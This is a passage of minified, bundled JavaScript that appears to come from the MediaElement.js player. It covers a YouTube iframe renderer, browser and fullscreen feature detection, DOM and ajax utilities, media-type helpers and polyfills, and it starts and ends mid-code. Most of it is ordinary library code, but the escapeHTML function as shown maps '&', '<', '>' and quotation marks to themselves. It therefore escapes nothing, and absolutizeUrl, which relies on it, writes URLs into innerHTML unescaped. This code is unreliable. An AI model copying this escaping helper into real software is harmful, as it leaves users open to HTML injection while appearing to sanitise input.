if (youTubeApi !== null) { var value = null; switch (propName) { case 'currentTime': return youTubeApi.getCurrentTime(); case 'duration': return youTubeApi.getDuration(); case 'volume': volume = youTubeApi.getVolume() / 100; return volume; case 'playbackRate': return youTubeApi.getPlaybackRate(); case 'paused': return paused; case 'ended': return ended; case 'muted': return youTubeApi.isMuted(); case 'buffered': var percentLoaded = youTubeApi.getVideoLoadedFraction(), duration = youTubeApi.getDuration(); return { start: function start() { return 0; }, end: function end() { return percentLoaded * duration; }, length: 1 }; case 'src': return youTubeApi.getVideoUrl(); case 'readyState': return readyState; } return value; } else { return null; } }; youtube['set' + capName] = function (value) { if (youTubeApi !== null) { switch (propName) { case 'src': var url = typeof value === 'string' ? value : value[0].src, _videoId = YouTubeApi.getYouTubeId(url); if (mediaElement.originalNode.autoplay) { youTubeApi.loadVideoById(_videoId); } else { youTubeApi.cueVideoById(_videoId); } break; case 'currentTime': youTubeApi.seekTo(value); break; case 'muted': if (value) { youTubeApi.mute(); } else { youTubeApi.unMute(); } setTimeout(function () { var event = (0, _general.createEvent)('volumechange', youtube); mediaElement.dispatchEvent(event); }, 50); break; case 'volume': volume = value; youTubeApi.setVolume(value * 100); setTimeout(function () { var event = (0, _general.createEvent)('volumechange', youtube); mediaElement.dispatchEvent(event); }, 50); break; case 'playbackRate': youTubeApi.setPlaybackRate(value); setTimeout(function () { var event = (0, _general.createEvent)('ratechange', youtube); mediaElement.dispatchEvent(event); }, 50); break; case 'readyState': var event = (0, _general.createEvent)('canplay', youtube); mediaElement.dispatchEvent(event); break; default: break; } } else { apiStack.push({ type: 'set', propName: propName, value: value }); } }; }; for (var i = 0, total = props.length; i < total; i++) { assignGettersSetters(props[i]); } var methods = _mejs2.default.html5media.methods, assignMethods = function assignMethods(methodName) { youtube[methodName] = function () { if (youTubeApi !== null) { switch (methodName) { case 'play': paused = false; return youTubeApi.playVideo(); case 'pause': paused = true; return youTubeApi.pauseVideo(); case 'load': return null; } } else { apiStack.push({ type: 'call', methodName: methodName }); } }; }; for (var _i = 0, _total = methods.length; _i < _total; _i++) { assignMethods(methods[_i]); } var errorHandler = function errorHandler(error) { var message = ''; switch (error.data) { case 2: message = 'The request contains an invalid parameter value. Verify that video ID has 11 characters and that contains no invalid characters, such as exclamation points or asterisks.'; break; case 5: message = 'The requested content cannot be played in an HTML5 player or another error related to the HTML5 player has occurred.'; break; case 100: message = 'The video requested was not found. Either video has been removed or has been marked as private.'; break; case 101: case 105: message = 'The owner of the requested video does not allow it to be played in embedded players.'; break; default: message = 'Unknown error.'; break; } mediaElement.generateError('Code ' + error.data + ': ' + message, mediaFiles); }; var youtubeContainer = _document2.default.createElement('div'); youtubeContainer.id = youtube.id; if (youtube.options.youtube.nocookie) { mediaElement.originalNode.src = YouTubeApi.getYouTubeNoCookieUrl(mediaFiles[0].src); } mediaElement.originalNode.parentNode.insertBefore(youtubeContainer, mediaElement.originalNode); mediaElement.originalNode.style.display = 'none'; var isAudio = mediaElement.originalNode.tagName.toLowerCase() === 'audio', height = isAudio ? '1' : mediaElement.originalNode.height, width = isAudio ? '1' : mediaElement.originalNode.width, videoId = YouTubeApi.getYouTubeId(mediaFiles[0].src), youtubeSettings = { id: youtube.id, containerId: youtubeContainer.id, videoId: videoId, height: height, width: width, playerVars: Object.assign({ controls: 0, rel: 0, disablekb: 1, showinfo: 0, modestbranding: 0, html5: 1, iv_load_policy: 3 }, youtube.options.youtube), origin: _window2.default.location.host, events: { onReady: function onReady(e) { mediaElement.youTubeApi = youTubeApi = e.target; mediaElement.youTubeState = { paused: true, ended: false }; if (apiStack.length) { for (var _i2 = 0, _total2 = apiStack.length; _i2 < _total2; _i2++) { var stackItem = apiStack[_i2]; if (stackItem.type === 'set') { var propName = stackItem.propName, capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); youtube['set' + capName](stackItem.value); } else if (stackItem.type === 'call') { youtube[stackItem.methodName](); } } } youTubeIframe = youTubeApi.getIframe(); if (mediaElement.originalNode.muted) { youTubeApi.mute(); } var events = ['mouseover', 'mouseout'], assignEvents = function assignEvents(e) { var newEvent = (0, _general.createEvent)(e.type, youtube); mediaElement.dispatchEvent(newEvent); }; for (var _i3 = 0, _total3 = events.length; _i3 < _total3; _i3++) { youTubeIframe.addEventListener(events[_i3], assignEvents, false); } var initEvents = ['rendererready', 'loadedmetadata', 'loadeddata', 'canplay']; for (var _i4 = 0, _total4 = initEvents.length; _i4 < _total4; _i4++) { var event = (0, _general.createEvent)(initEvents[_i4], youtube); mediaElement.dispatchEvent(event); } }, onStateChange: function onStateChange(e) { var events = []; switch (e.data) { case -1: events = ['loadedmetadata']; paused = true; ended = false; break; case 0: events = ['ended']; paused = false; ended = !youtube.options.youtube.loop; if (!youtube.options.youtube.loop) { youtube.stopInterval(); } break; case 1: events = ['play', 'playing']; paused = false; ended = false; youtube.startInterval(); break; case 2: events = ['pause']; paused = true; ended = false; youtube.stopInterval(); break; case 3: events = ['progress']; ended = false; break; case 5: events = ['loadeddata', 'loadedmetadata', 'canplay']; paused = true; ended = false; break; } for (var _i5 = 0, _total5 = events.length; _i5 < _total5; _i5++) { var event = (0, _general.createEvent)(events[_i5], youtube); mediaElement.dispatchEvent(event); } }, onError: function onError(e) { return errorHandler(e); } } }; if (isAudio || mediaElement.originalNode.hasAttribute('playsinline')) { youtubeSettings.playerVars.playsinline = 1; } if (mediaElement.originalNode.controls) { youtubeSettings.playerVars.controls = 1; } if (mediaElement.originalNode.autoplay) { youtubeSettings.playerVars.autoplay = 1; } if (mediaElement.originalNode.loop) { youtubeSettings.playerVars.loop = 1; } if ((youtubeSettings.playerVars.loop && parseInt(youtubeSettings.playerVars.loop, 10) === 1 || mediaElement.originalNode.src.indexOf('loop=') > -1) && !youtubeSettings.playerVars.playlist && mediaElement.originalNode.src.indexOf('playlist=') === -1) { youtubeSettings.playerVars.playlist = YouTubeApi.getYouTubeId(mediaElement.originalNode.src); } YouTubeApi.enqueueIframe(youtubeSettings); youtube.onEvent = function (eventName, player, _youTubeState) { if (_youTubeState !== null && _youTubeState !== undefined) { mediaElement.youTubeState = _youTubeState; } }; youtube.setSize = function (width, height) { if (youTubeApi !== null) { youTubeApi.setSize(width, height); } }; youtube.hide = function () { youtube.stopInterval(); youtube.pause(); if (youTubeIframe) { youTubeIframe.style.display = 'none'; } }; youtube.show = function () { if (youTubeIframe) { youTubeIframe.style.display = ''; } }; youtube.destroy = function () { youTubeApi.destroy(); }; youtube.interval = null; youtube.startInterval = function () { youtube.interval = setInterval(function () { var event = (0, _general.createEvent)('timeupdate', youtube); mediaElement.dispatchEvent(event); }, 250); }; youtube.stopInterval = function () { if (youtube.interval) { clearInterval(youtube.interval); } }; youtube.getPosterUrl = function () { var quality = options.youtube.imageQuality, resolutions = ['default', 'hqdefault', 'mqdefault', 'sddefault', 'maxresdefault'], id = YouTubeApi.getYouTubeId(mediaElement.originalNode.src); return quality && resolutions.indexOf(quality) > -1 && id ? 'https://img.youtube.com/vi/' + id + '/' + quality + '.jpg' : ''; }; return youtube; } }; _window2.default.onYouTubePlayerAPIReady = function () { YouTubeApi.iFrameReady(); }; _media.typeChecks.push(function (url) { return (/\/\/(www\.youtube|youtu\.?be)/i.test(url) ? 'video/x-youtube' : null ); }); _renderer.renderer.add(YouTubeIframeRenderer); },{"2":2,"26":26,"27":27,"28":28,"3":3,"7":7,"8":8}],25:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.cancelFullScreen = exports.requestFullScreen = exports.isFullScreen = exports.FULLSCREEN_EVENT_NAME = exports.HAS_NATIVE_FULLSCREEN_ENABLED = exports.HAS_TRUE_NATIVE_FULLSCREEN = exports.HAS_IOS_FULLSCREEN = exports.HAS_MS_NATIVE_FULLSCREEN = exports.HAS_MOZ_NATIVE_FULLSCREEN = exports.HAS_WEBKIT_NATIVE_FULLSCREEN = exports.HAS_NATIVE_FULLSCREEN = exports.SUPPORTS_NATIVE_HLS = exports.SUPPORT_PASSIVE_EVENT = exports.SUPPORT_POINTER_EVENTS = exports.HAS_MSE = exports.IS_STOCK_ANDROID = exports.IS_SAFARI = exports.IS_FIREFOX = exports.IS_CHROME = exports.IS_EDGE = exports.IS_IE = exports.IS_ANDROID = exports.IS_IOS = exports.IS_IPOD = exports.IS_IPHONE = exports.IS_IPAD = exports.UA = exports.NAV = undefined; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var NAV = exports.NAV = _window2.default.navigator; var UA = exports.UA = NAV.userAgent.toLowerCase(); var IS_IPAD = exports.IS_IPAD = /ipad/i.test(UA) && !_window2.default.MSStream; var IS_IPHONE = exports.IS_IPHONE = /iphone/i.test(UA) && !_window2.default.MSStream; var IS_IPOD = exports.IS_IPOD = /ipod/i.test(UA) && !_window2.default.MSStream; var IS_IOS = exports.IS_IOS = /ipad|iphone|ipod/i.test(UA) && !_window2.default.MSStream; var IS_ANDROID = exports.IS_ANDROID = /android/i.test(UA); var IS_IE = exports.IS_IE = /(trident|microsoft)/i.test(NAV.appName); var IS_EDGE = exports.IS_EDGE = 'msLaunchUri' in NAV && !('documentMode' in _document2.default); var IS_CHROME = exports.IS_CHROME = /chrome/i.test(UA); var IS_FIREFOX = exports.IS_FIREFOX = /firefox/i.test(UA); var IS_SAFARI = exports.IS_SAFARI = /safari/i.test(UA) && !IS_CHROME; var IS_STOCK_ANDROID = exports.IS_STOCK_ANDROID = /^mozilla\/\d+\.\d+\s\(linux;\su;/i.test(UA); var HAS_MSE = exports.HAS_MSE = 'MediaSource' in _window2.default; var SUPPORT_POINTER_EVENTS = exports.SUPPORT_POINTER_EVENTS = function () { var element = _document2.default.createElement('x'), documentElement = _document2.default.documentElement, getComputedStyle = _window2.default.getComputedStyle; if (!('pointerEvents' in element.style)) { return false; } element.style.pointerEvents = 'auto'; element.style.pointerEvents = 'x'; documentElement.appendChild(element); var supports = getComputedStyle && (getComputedStyle(element, '') || {}).pointerEvents === 'auto'; element.remove(); return !!supports; }(); var SUPPORT_PASSIVE_EVENT = exports.SUPPORT_PASSIVE_EVENT = function () { var supportsPassive = false; try { var opts = Object.defineProperty({}, 'passive', { get: function get() { supportsPassive = true; } }); _window2.default.addEventListener('test', null, opts); } catch (e) {} return supportsPassive; }(); var html5Elements = ['source', 'track', 'audio', 'video']; var video = void 0; for (var i = 0, total = html5Elements.length; i < total; i++) { video = _document2.default.createElement(html5Elements[i]); } var SUPPORTS_NATIVE_HLS = exports.SUPPORTS_NATIVE_HLS = IS_SAFARI || IS_IE && /edge/i.test(UA); var hasiOSFullScreen = video.webkitEnterFullscreen !== undefined; var hasNativeFullscreen = video.requestFullscreen !== undefined; if (hasiOSFullScreen && /mac os x 10_5/i.test(UA)) { hasNativeFullscreen = false; hasiOSFullScreen = false; } var hasWebkitNativeFullScreen = video.webkitRequestFullScreen !== undefined; var hasMozNativeFullScreen = video.mozRequestFullScreen !== undefined; var hasMsNativeFullScreen = video.msRequestFullscreen !== undefined; var hasTrueNativeFullScreen = hasWebkitNativeFullScreen || hasMozNativeFullScreen || hasMsNativeFullScreen; var nativeFullScreenEnabled = hasTrueNativeFullScreen; var fullScreenEventName = ''; var isFullScreen = void 0, requestFullScreen = void 0, cancelFullScreen = void 0; if (hasMozNativeFullScreen) { nativeFullScreenEnabled = _document2.default.mozFullScreenEnabled; } else if (hasMsNativeFullScreen) { nativeFullScreenEnabled = _document2.default.msFullscreenEnabled; } if (IS_CHROME) { hasiOSFullScreen = false; } if (hasTrueNativeFullScreen) { if (hasWebkitNativeFullScreen) { fullScreenEventName = 'webkitfullscreenchange'; } else if (hasMozNativeFullScreen) { fullScreenEventName = 'fullscreenchange'; } else if (hasMsNativeFullScreen) { fullScreenEventName = 'MSFullscreenChange'; } exports.isFullScreen = isFullScreen = function isFullScreen() { if (hasMozNativeFullScreen) { return _document2.default.mozFullScreen; } else if (hasWebkitNativeFullScreen) { return _document2.default.webkitIsFullScreen; } else if (hasMsNativeFullScreen) { return _document2.default.msFullscreenElement !== null; } }; exports.requestFullScreen = requestFullScreen = function requestFullScreen(el) { if (hasWebkitNativeFullScreen) { el.webkitRequestFullScreen(); } else if (hasMozNativeFullScreen) { el.mozRequestFullScreen(); } else if (hasMsNativeFullScreen) { el.msRequestFullscreen(); } }; exports.cancelFullScreen = cancelFullScreen = function cancelFullScreen() { if (hasWebkitNativeFullScreen) { _document2.default.webkitCancelFullScreen(); } else if (hasMozNativeFullScreen) { _document2.default.mozCancelFullScreen(); } else if (hasMsNativeFullScreen) { _document2.default.msExitFullscreen(); } }; } var HAS_NATIVE_FULLSCREEN = exports.HAS_NATIVE_FULLSCREEN = hasNativeFullscreen; var HAS_WEBKIT_NATIVE_FULLSCREEN = exports.HAS_WEBKIT_NATIVE_FULLSCREEN = hasWebkitNativeFullScreen; var HAS_MOZ_NATIVE_FULLSCREEN = exports.HAS_MOZ_NATIVE_FULLSCREEN = hasMozNativeFullScreen; var HAS_MS_NATIVE_FULLSCREEN = exports.HAS_MS_NATIVE_FULLSCREEN = hasMsNativeFullScreen; var HAS_IOS_FULLSCREEN = exports.HAS_IOS_FULLSCREEN = hasiOSFullScreen; var HAS_TRUE_NATIVE_FULLSCREEN = exports.HAS_TRUE_NATIVE_FULLSCREEN = hasTrueNativeFullScreen; var HAS_NATIVE_FULLSCREEN_ENABLED = exports.HAS_NATIVE_FULLSCREEN_ENABLED = nativeFullScreenEnabled; var FULLSCREEN_EVENT_NAME = exports.FULLSCREEN_EVENT_NAME = fullScreenEventName; exports.isFullScreen = isFullScreen; exports.requestFullScreen = requestFullScreen; exports.cancelFullScreen = cancelFullScreen; _mejs2.default.Features = _mejs2.default.Features || {}; _mejs2.default.Features.isiPad = IS_IPAD; _mejs2.default.Features.isiPod = IS_IPOD; _mejs2.default.Features.isiPhone = IS_IPHONE; _mejs2.default.Features.isiOS = _mejs2.default.Features.isiPhone || _mejs2.default.Features.isiPad; _mejs2.default.Features.isAndroid = IS_ANDROID; _mejs2.default.Features.isIE = IS_IE; _mejs2.default.Features.isEdge = IS_EDGE; _mejs2.default.Features.isChrome = IS_CHROME; _mejs2.default.Features.isFirefox = IS_FIREFOX; _mejs2.default.Features.isSafari = IS_SAFARI; _mejs2.default.Features.isStockAndroid = IS_STOCK_ANDROID; _mejs2.default.Features.hasMSE = HAS_MSE; _mejs2.default.Features.supportsNativeHLS = SUPPORTS_NATIVE_HLS; _mejs2.default.Features.supportsPointerEvents = SUPPORT_POINTER_EVENTS; _mejs2.default.Features.supportsPassiveEvent = SUPPORT_PASSIVE_EVENT; _mejs2.default.Features.hasiOSFullScreen = HAS_IOS_FULLSCREEN; _mejs2.default.Features.hasNativeFullscreen = HAS_NATIVE_FULLSCREEN; _mejs2.default.Features.hasWebkitNativeFullScreen = HAS_WEBKIT_NATIVE_FULLSCREEN; _mejs2.default.Features.hasMozNativeFullScreen = HAS_MOZ_NATIVE_FULLSCREEN; _mejs2.default.Features.hasMsNativeFullScreen = HAS_MS_NATIVE_FULLSCREEN; _mejs2.default.Features.hasTrueNativeFullScreen = HAS_TRUE_NATIVE_FULLSCREEN; _mejs2.default.Features.nativeFullScreenEnabled = HAS_NATIVE_FULLSCREEN_ENABLED; _mejs2.default.Features.fullScreenEventName = FULLSCREEN_EVENT_NAME; _mejs2.default.Features.isFullScreen = isFullScreen; _mejs2.default.Features.requestFullScreen = requestFullScreen; _mejs2.default.Features.cancelFullScreen = cancelFullScreen; },{"2":2,"3":3,"7":7}],26:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.removeClass = exports.addClass = exports.hasClass = undefined; exports.loadScript = loadScript; exports.offset = offset; exports.toggleClass = toggleClass; exports.fadeOut = fadeOut; exports.fadeIn = fadeIn; exports.siblings = siblings; exports.visible = visible; exports.ajax = ajax; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function loadScript(url) { return new Promise(function (resolve, reject) { var script = _document2.default.createElement('script'); script.src = url; script.async = true; script.onload = function () { script.remove(); resolve(); }; script.onerror = function () { script.remove(); reject(); }; _document2.default.head.appendChild(script); }); } function offset(el) { var rect = el.getBoundingClientRect(), scrollLeft = _window2.default.pageXOffset || _document2.default.documentElement.scrollLeft, scrollTop = _window2.default.pageYOffset || _document2.default.documentElement.scrollTop; return { top: rect.top + scrollTop, left: rect.left + scrollLeft }; } var hasClassMethod = void 0, addClassMethod = void 0, removeClassMethod = void 0; if ('classList' in _document2.default.documentElement) { hasClassMethod = function hasClassMethod(el, className) { return el.classList !== undefined && el.classList.contains(className); }; addClassMethod = function addClassMethod(el, className) { return el.classList.add(className); }; removeClassMethod = function removeClassMethod(el, className) { return el.classList.remove(className); }; } else { hasClassMethod = function hasClassMethod(el, className) { return new RegExp('\\b' + className + '\\b').test(el.className); }; addClassMethod = function addClassMethod(el, className) { if (!hasClass(el, className)) { el.className += ' ' + className; } }; removeClassMethod = function removeClassMethod(el, className) { el.className = el.className.replace(new RegExp('\\b' + className + '\\b', 'g'), ''); }; } var hasClass = exports.hasClass = hasClassMethod; var addClass = exports.addClass = addClassMethod; var removeClass = exports.removeClass = removeClassMethod; function toggleClass(el, className) { hasClass(el, className) ? removeClass(el, className) : addClass(el, className); } function fadeOut(el) { var duration = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 400; var callback = arguments[2]; if (!el.style.opacity) { el.style.opacity = 1; } var start = null; _window2.default.requestAnimationFrame(function animate(timestamp) { start = start || timestamp; var progress = timestamp - start; var opacity = parseFloat(1 - progress / duration, 2); el.style.opacity = opacity < 0 ? 0 : opacity; if (progress > duration) { if (callback && typeof callback === 'function') { callback(); } } else { _window2.default.requestAnimationFrame(animate); } }); } function fadeIn(el) { var duration = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 400; var callback = arguments[2]; if (!el.style.opacity) { el.style.opacity = 0; } var start = null; _window2.default.requestAnimationFrame(function animate(timestamp) { start = start || timestamp; var progress = timestamp - start; var opacity = parseFloat(progress / duration, 2); el.style.opacity = opacity > 1 ? 1 : opacity; if (progress > duration) { if (callback && typeof callback === 'function') { callback(); } } else { _window2.default.requestAnimationFrame(animate); } }); } function siblings(el, filter) { var siblings = []; el = el.parentNode.firstChild; do { if (!filter || filter(el)) { siblings.push(el); } } while (el = el.nextSibling); return siblings; } function visible(elem) { if (elem.getClientRects !== undefined && elem.getClientRects === 'function') { return !!(elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length); } return !!(elem.offsetWidth || elem.offsetHeight); } function ajax(url, dataType, success, error) { var xhr = _window2.default.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject('Microsoft.XMLHTTP'); var type = 'application/x-www-form-urlencoded; charset=UTF-8', completed = false, accept = '*/'.concat('*'); switch (dataType) { case 'text': type = 'text/plain'; break; case 'json': type = 'application/json, text/javascript'; break; case 'html': type = 'text/html'; break; case 'xml': type = 'application/xml, text/xml'; break; } if (type !== 'application/x-www-form-urlencoded') { accept = type + ', */*; q=0.01'; } if (xhr) { xhr.open('GET', url, true); xhr.setRequestHeader('Accept', accept); xhr.onreadystatechange = function () { if (completed) { return; } if (xhr.readyState === 4) { if (xhr.status === 200) { completed = true; var data = void 0; switch (dataType) { case 'json': data = JSON.parse(xhr.responseText); break; case 'xml': data = xhr.responseXML; break; default: data = xhr.responseText; break; } success(data); } else if (typeof error === 'function') { error(xhr.status); } } }; xhr.send(); } } _mejs2.default.Utils = _mejs2.default.Utils || {}; _mejs2.default.Utils.offset = offset; _mejs2.default.Utils.hasClass = hasClass; _mejs2.default.Utils.addClass = addClass; _mejs2.default.Utils.removeClass = removeClass; _mejs2.default.Utils.toggleClass = toggleClass; _mejs2.default.Utils.fadeIn = fadeIn; _mejs2.default.Utils.fadeOut = fadeOut; _mejs2.default.Utils.siblings = siblings; _mejs2.default.Utils.visible = visible; _mejs2.default.Utils.ajax = ajax; _mejs2.default.Utils.loadScript = loadScript; },{"2":2,"3":3,"7":7}],27:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.escapeHTML = escapeHTML; exports.debounce = debounce; exports.isObjectEmpty = isObjectEmpty; exports.splitEvents = splitEvents; exports.createEvent = createEvent; exports.isNodeAfter = isNodeAfter; exports.isString = isString; var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function escapeHTML(input) { if (typeof input !== 'string') { throw new Error('Argument passed must be a string'); } var map = { '&': '&', '<': '<', '>': '>', '"': '"' }; return input.replace(/[&<>"]/g, function (c) { return map[c]; }); } function debounce(func, wait) { var _this = this, _arguments = arguments; var immediate = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; if (typeof func !== 'function') { throw new Error('First argument must be a function'); } if (typeof wait !== 'number') { throw new Error('Second argument must be a numeric value'); } var timeout = void 0; return function () { var context = _this, args = _arguments; var later = function later() { timeout = null; if (!immediate) { func.apply(context, args); } }; var callNow = immediate && !timeout; clearTimeout(timeout); timeout = setTimeout(later, wait); if (callNow) { func.apply(context, args); } }; } function isObjectEmpty(instance) { return Object.getOwnPropertyNames(instance).length <= 0; } function splitEvents(events, id) { var rwindow = /^((after|before)print|(before)?unload|hashchange|message|o(ff|n)line|page(hide|show)|popstate|resize|storage)\b/; var ret = { d: [], w: [] }; (events || '').split(' ').forEach(function (v) { var eventName = '' + v + (id ? '.' + id : ''); if (eventName.startsWith('.')) { ret.d.push(eventName); ret.w.push(eventName); } else { ret[rwindow.test(v) ? 'w' : 'd'].push(eventName); } }); ret.d = ret.d.join(' '); ret.w = ret.w.join(' '); return ret; } function createEvent(eventName, target) { if (typeof eventName !== 'string') { throw new Error('Event name must be a string'); } var eventFrags = eventName.match(/([a-z]+\.([a-z]+))/i), detail = { target: target }; if (eventFrags !== null) { eventName = eventFrags[1]; detail.namespace = eventFrags[2]; } return new window.CustomEvent(eventName, { detail: detail }); } function isNodeAfter(sourceNode, targetNode) { return !!(sourceNode && targetNode && sourceNode.compareDocumentPosition(targetNode) & 2); } function isString(value) { return typeof value === 'string'; } _mejs2.default.Utils = _mejs2.default.Utils || {}; _mejs2.default.Utils.escapeHTML = escapeHTML; _mejs2.default.Utils.debounce = debounce; _mejs2.default.Utils.isObjectEmpty = isObjectEmpty; _mejs2.default.Utils.splitEvents = splitEvents; _mejs2.default.Utils.createEvent = createEvent; _mejs2.default.Utils.isNodeAfter = isNodeAfter; _mejs2.default.Utils.isString = isString; },{"7":7}],28:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.typeChecks = undefined; exports.absolutizeUrl = absolutizeUrl; exports.formatType = formatType; exports.getMimeFromType = getMimeFromType; exports.getTypeFromFile = getTypeFromFile; exports.getExtension = getExtension; exports.normalizeExtension = normalizeExtension; var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _general = _dereq_(27); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var typeChecks = exports.typeChecks = []; function absolutizeUrl(url) { if (typeof url !== 'string') { throw new Error('`url` argument must be a string'); } var el = document.createElement('div'); el.innerHTML = '<a href="' + (0, _general.escapeHTML)(url) + '">x</a>'; return el.firstChild.href; } function formatType(url) { var type = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ''; return url && !type ? getTypeFromFile(url) : type; } function getMimeFromType(type) { if (typeof type !== 'string') { throw new Error('`type` argument must be a string'); } return type && type.indexOf(';') > -1 ? type.substr(0, type.indexOf(';')) : type; } function getTypeFromFile(url) { if (typeof url !== 'string') { throw new Error('`url` argument must be a string'); } for (var i = 0, total = typeChecks.length; i < total; i++) { var type = typeChecks[i](url); if (type) { return type; } } var ext = getExtension(url), normalizedExt = normalizeExtension(ext); var mime = 'video/mp4'; if (normalizedExt) { if (~['mp4', 'm4v', 'ogg', 'ogv', 'webm', 'flv', 'mpeg', 'mov'].indexOf(normalizedExt)) { mime = 'video/' + normalizedExt; } else if (~['mp3', 'oga', 'wav', 'mid', 'midi'].indexOf(normalizedExt)) { mime = 'audio/' + normalizedExt; } } return mime; } function getExtension(url) { if (typeof url !== 'string') { throw new Error('`url` argument must be a string'); } var baseUrl = url.split('?')[0], baseName = baseUrl.split('\\').pop().split('/').pop(); return ~baseName.indexOf('.') ? baseName.substring(baseName.lastIndexOf('.') + 1) : ''; } function normalizeExtension(extension) { if (typeof extension !== 'string') { throw new Error('`extension` argument must be a string'); } switch (extension) { case 'mp4': case 'm4v': return 'mp4'; case 'webm': case 'webma': case 'webmv': return 'webm'; case 'ogg': case 'oga': case 'ogv': return 'ogg'; default: return extension; } } _mejs2.default.Utils = _mejs2.default.Utils || {}; _mejs2.default.Utils.typeChecks = typeChecks; _mejs2.default.Utils.absolutizeUrl = absolutizeUrl; _mejs2.default.Utils.formatType = formatType; _mejs2.default.Utils.getMimeFromType = getMimeFromType; _mejs2.default.Utils.getTypeFromFile = getTypeFromFile; _mejs2.default.Utils.getExtension = getExtension; _mejs2.default.Utils.normalizeExtension = normalizeExtension; },{"27":27,"7":7}],29:[function(_dereq_,module,exports){ 'use strict'; var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _promisePolyfill = _dereq_(4); var _promisePolyfill2 = _interopRequireDefault(_promisePolyfill); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } (function (arr) { arr.forEach(function (item) { if (item.hasOwnProperty('remove')) { return; } Object.defineProperty(item, 'remove', { configurable: true, enumerable: true, writable: true, value: function remove() { this.parentNode.removeChild(this); } }); }); })([Element.prototype, CharacterData.prototype, DocumentType.prototype]); (function () { if (typeof window.CustomEvent === 'function') { return false; } function CustomEvent(event, params) { params = params || { bubbles: false, cancelable: false, detail: undefined }; var evt = _document2.default.createEvent('CustomEvent'); evt.initCustomEvent(event, params.bubbles, params.cancelable, params.detail); return evt; } CustomEvent.prototype = window.Event.prototype; window.CustomEvent = CustomEvent; })(); if (typeof Object.assign !== 'function') { Object.assign = function (target) { if (target === null || target === undefined) { throw new TypeError('Cannot convert undefined or null to object'); } var to = Object(target); for (var index = 1, total = arguments.length; index < total; index++) { var nextSource = arguments[index]; if (nextSource !== null) { for (var nextKey in nextSource) { if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) { to[nextKey] = nextSource[nextKey]; } } } } return to; }; } if (!String.prototype.startsWith) { String.prototype.startsWith = function (searchString, position) { position = position || 0; return this.substr(position, searchString.length) === searchString; }; } if (!Element.prototype.matches) { Element.prototype.matches = Element.prototype.matchesSelector || Element.prototype.mozMatchesSelector || Element.prototype.msMatchesSelector || Element.prototype.oMatchesSelector || Element.prototype.webkitMatchesSelector || function (s) { var matches = (this.document || this.ownerDocument).querySelectorAll(s), i = matches.length - 1; while (--i >= 0 && matches.item(i) !== this) {} return i > -1; }; } if (window.Element && !Element.prototype.closest) { Element.prototype.closest = function (s) { var matches = (this.document || this.ownerDocument).querySelectorAll(s), i = void 0, el = this; do { i = matches.length; while (--i >= 0 && matches.item(i) !== el) {} } while (i < 0 && (el = el.parentElement)); return el; }; } (function () { var lastTime = 0; var vendors = ['ms', 'moz', 'webkit', 'o']; for (var x = 0; x < vendors.length && !window.requestAnimationFrame; ++x) { window.requestAnimationFrame = window[vendors[x] + 'RequestAnimationFrame']; window.cancelAnimationFrame = window[vendors[x] + 'CancelAnimationFrame'] || window[vendors[x] + 'CancelRequestAnimationFrame']; } if (!window.requestAnimationFrame) window.requestAnimationFrame = function (callback) { var currTime = new Date().getTime(); var timeToCall = Math.max(0, 16 - (currTime - lastTime)); var id = window.setTimeout(function () { callback(currTime + timeToCall); }, timeToCall); lastTime = currTime + timeToCall; return id; }; if (!window.cancelAnimationFrame) window.cancelAnimationFrame = function (id) { clearTimeout(id); }; })(); if (/firefox/i.test(navigator.userAgent)) { var getComputedStyle = window.getComputedStyle; window.getComputedStyle = function (el, pseudoEl) { var t = getComputedStyle(el, pseudoEl); return t === null ? { getPropertyValue: function getPropertyValue() {} } : t; }; } if (!window.Promise) { window.Promise = _promisePolyfill2.default; } (function (constructor) { if (constructor && constructor.prototype && constructor.prototype.children === null) { Object.defineProperty(constructor.prototype, 'children', { get: function get() { var i = 0, node = void 0, nodes = this.childNodes, children = []; while (node = nodes[i++]) { if (node.nodeType === 1) { children.push(node); } } return children; } }); } })(window.Node || window.Element); },{"2":2,"4":4}],30:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.isDropFrame = isDropFrame; exports.secondsToTimeCode = secondsToTimeCode; exports.timeCodeToSeconds = timeCodeToSeconds; exports.calculateTimeFormat = calculateTimeFormat; exports.convertSMPTEtoSeconds = convertSMPTEtoSeconds; var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function isDropFrame() { var fps = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 25; return !(fps % 1 === 0); } function secondsToTimeCode(time) { var forceHours = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; var showFrameCount = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; var fps = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : 25; var secondsDecimalLength = arguments.length > 4 && 